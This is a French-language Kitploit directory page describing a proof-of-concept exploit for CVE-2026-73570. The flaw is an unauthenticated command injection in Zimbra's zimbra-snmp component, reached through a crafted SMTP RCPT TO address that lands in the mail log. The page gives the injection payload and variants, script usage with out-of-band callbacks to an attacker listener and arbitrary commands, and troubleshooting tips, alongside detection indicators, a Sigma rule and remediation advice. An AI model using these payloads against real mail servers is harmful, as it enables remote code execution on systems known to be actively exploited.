Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-73570 — Proof-of-concept d'exploitation pour CVE-2026-73570, une injection de commande OS non authentifiée dans Zimbra Collaboration Suite via l'injection de logs zimbra-snmp, avec des conseils de détection. | Kitploit
Outils/GitHubGitHub/hainhc/cve-2026-73570
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRéponse aux IncidentsSécurité des Emails
GitHubhainhc/cve-2026-73570

CVE-2026-73570

Proof-of-concept d'exploitation pour CVE-2026-73570, une injection de commande OS non authentifiée dans Zimbra Collaboration Suite via l'injection de logs zimbra-snmp, avec des conseils de détection.

Voir le dépôt
il y a 12h 27mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-73570 — Injection de commande OS non authentifiée dans zimbra-snmp de Zimbra (PoC)

Preuve de concept d'exploit pour CVE-2026-73570, une injection de commande OS non authentifiée (CWE-78, CVSS 8.9) dans Zimbra Collaboration Suite < 10.1.20 lorsque le paquet zimbra-snmp est installé et que les notifications SNMP sont activées.

Avertissement : Ce PoC est destiné uniquement à des tests de sécurité autorisés, à la recherche défensive et à la validation de vos propres systèmes. Ne l'utilisez pas contre un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.

Mécanisme de la vulnérabilité

La fonctionnalité de notification SNMP de Zimbra utilise swatchdog pour surveiller /var/log/zimbra.log à la recherche d'événements de service. Lorsqu'une ligne de log correspond à son motif de surveillance, le texte correspondant est interpolé dans une commande shell qui envoie la notification SNMP — sans assainissement.

La chaîne d'attaque :

root@kitploit:~
1. Attacker sends an SMTP session with a crafted RCPT TO address:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   The local part is an RFC 5321 quoted-string, so Postfix accepts the
   address syntax (spaces, colons, $(...) included).

2. Postfix rejects the recipient (relay denied / user unknown / sender
   restriction) and writes the FULL to=<...> string, quotes stripped, into
   /var/log/zimbra.log:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. swatchdog (zimbra-snmp) periodically scans the log and matches its
   watchfor pattern "Service status change ... changed from ... to ...".

4. The matched text is interpolated into the SNMP notification shell command
   -> $(CMD) is evaluated -> command execution as the `zimbra` user.

Prérequis

La cible doit remplir toutes les conditions suivantes :

  • Zimbra Collaboration < 10.1.20
  • Paquet zimbra-snmp installé
  • Notifications SNMP activées (zmlocalconfig | grep -i snmp_notify)

Côté attaquant : Python 3 (bibliothèque standard uniquement, aucune dépendance).

Utilisation

root@kitploit:~
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

Options :

FlagDescription
-t, --targetIP/nom d'hôte SMTP de la cible Zimbra (requis)
-p, --portPort SMTP (par défaut : 25)
--tlsUtiliser STARTTLS (par ex. port 587)
--oobDomaine DNS OOB ou URL de callback HTTP (recommandé)
--cmdCommande arbitraire au lieu du callback OOB
--fake-hostNom d'hôte dans la fausse chaîne Service status change (par défaut : localhost)
--check-onlyEmpreinte uniquement, n'envoie aucune charge utile
--delayDélai entre les envois en secondes (par défaut : 1.0)
--debugAfficher la transcription SMTP complète

Vérification

Le script envoie chaque commande selon plusieurs variantes d'injection ($(...), backticks, ;cmd;#, $({IFS}...)). Pour chaque variante, surveillez le code de réponse RCPT :

Réponse RCPTSignification
250, 450, 454 Relay access denied, 550 5.1.1 User unknownSyntaxe d'adresse acceptée — la ligne de rejet avec la chaîne complète to=<...> se trouve désormais dans le log. Charge utile plantée.
501 5.1.3 Bad recipient address syntaxPostfix a rejeté l'adresse lors de l'analyse — rien d'utile n'a été journalisé. Le script réessaie automatiquement avec un repli non quoté.

Confirmez ensuite sur le serveur (si vous y avez accès) :

root@kitploit:~
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/                    # if you used --cmd
# or watch your OOB listener for the callback

Si la ligne de log est présente mais que la commande ne s'exécute jamais, les prérequis restants se situent du côté de swatchdog : vérifiez que le processus est en cours d'exécution (ps aux | grep swatch) et que sa configuration surveille bien le motif Service status change.

Contexte d'exécution : les commandes s'exécutent en tant qu'utilisateur zimbra (pas root).

Dépannage

  • Aucune ligne de log : votre IP source est probablement bloquée (fail2ban après des tentatives malformées répétées, ou un pare-feu). Vérifiez fail2ban-client status, iptables -L -n | grep <your_ip>, et confirmez que les paquets atteignent Postfix avec tcpdump -i any port 25 and host <your_ip> -nn -A.
  • Grep trop restrictif : les adresses malformées sont journalisées comme warning: Illegal address syntax ... in RCPT command: ... plutôt qu'une ligne NOQUEUE: reject. Filtrez plutôt par votre IP d'attaquant.
  • Délai d'exécution : swatchdog interroge le log selon un cycle — laissez 1 à 5 minutes avant de conclure à un échec.

Détection (pour les défenseurs)

Principaux indicateurs d'une exploitation réussie :

  1. Artefact de log (tentative) : to=<*: Service status change: *$(...)* à l'intérieur d'une ligne de rejet Postfix dans /var/log/zimbra.log — quasi aucun faux positif, car le texte Service status change n'apparaît jamais légitimement dans une adresse to=<>.
  2. Arbre de processus (haute fidélité) : tout shell ou interpréteur de commandes (sh, bash, curl, wget, nc, python, perl) lancé comme processus enfant de swatchdog / swatch.
  3. Post-exploitation : nouveaux fichiers .jsp/.jspx sous /opt/zimbra/jetty/webapps/ ou /opt/zimbra/jetty_base/webapps/, fichiers inattendus dans /tmp/, nouvelles entrées cron ou clés SSH pour l'utilisateur zimbra, et connexions sortantes depuis le serveur de messagerie qui ne correspondent pas au flux de messagerie normal.

Exemple de règle Sigma (phase de tentative) :

root@kitploit:~
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

Remédiation

  • Mettez à niveau Zimbra Collaboration vers 10.1.20 ou une version ultérieure.
  • Si une mise à niveau immédiate est impossible : désactivez les notifications SNMP et envisagez d'arrêter/supprimer le paquet zimbra-snmp jusqu'au correctif.
  • Cette CVE est répertoriée dans le catalogue KEV de la CISA avec une exploitation active confirmée — recherchez dans au moins 30 jours de logs sur tout système précédemment vulnérable, et traitez toute compromission confirmée comme une exposition complète des données de messagerie.

Références

  • Zimbra Security Advisories (éditeur) : https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  • Version corrective Zimbra 10.1.20 (correctif) : https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/
  • NVD — CVE-2026-73570 : https://nvd.nist.gov/vuln/detail/CVE-2026-73570
  • Catalogue des vulnérabilités exploitées connues de la CISA (ajouté le 2026-08-21) : https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570
  • Alerte CISA — « CISA Adds One Known Exploited Vulnerability to Catalog » : https://www.cisa.gov/news-events/alerts/2026/08/21/cisa-adds-one-known-exploited-vulnerability-catalog
  • Avis CERT Polska 145/2026 (exploitation active + recommandations IoC, 2026-08-17) : https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
  • BleepingComputer — « Critical Zimbra RCE flaw now actively exploited in attacks » : https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-now-actively-exploited-in-attacks/
  • Help Net Security — « Unpatched Zimbra servers are falling to CVE-2026-73570 attacks » : https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/
Télécharger l’outil